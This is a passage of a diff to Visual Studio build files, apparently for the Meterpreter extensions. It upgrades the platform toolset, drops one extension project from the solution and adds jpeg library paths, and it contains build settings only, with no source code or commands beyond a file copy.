<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\keyboard.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\mouse.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\ui.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\idle.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\keyboard.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\mouse.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\ui.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\railgun\railgun.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\audio.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\webcam.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\audio.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\webcam\webcam.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="..\..\source\extensions\stdapi\server\resource\stdapi.rc">
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">\framework3\trunk\external\source\meterpreter\source\extensions\stdapi\server\resource;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
<ResourceCompile Include="..\..\source\extensions\stdapi\server\resource\stdapi.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\server\precomp.h" />
|
||||
@ -1149,4 +688,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -13,8 +13,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "R
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_incognito", "ext_server_incognito\ext_server_incognito.vcxproj", "{C427F6B9-C287-4BDA-A5BB-401FC19E207C}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_boiler", "ext_server_boiler\ext_server_boiler.vcxproj", "{488BE203-8407-42D1-B334-8B5C3BC5AB3E}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_espia", "ext_server_espia\ext_server_espia.vcxproj", "{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevator.vcxproj", "{662AFBB3-F64A-4AD1-8956-B9F1B846231C}"
|
||||
@ -137,14 +135,6 @@ Global
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|Win32.Build.0 = Release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|x64.ActiveCfg = Release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|x64.Build.0 = Release|x64
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.r7_debug|Win32.ActiveCfg = r7_debug|Win32
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.r7_debug|x64.ActiveCfg = r7_debug|x64
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Release|x64.ActiveCfg = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Debug|x64
|
||||
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -43,49 +43,49 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -680,4 +680,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -273,6 +273,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -283,6 +284,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>jpeg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\..\source\jpeg-8\lib\win\x64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
@ -301,6 +304,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -311,6 +315,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>jpeg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\..\source\jpeg-8\lib\win\x64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
@ -433,4 +439,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
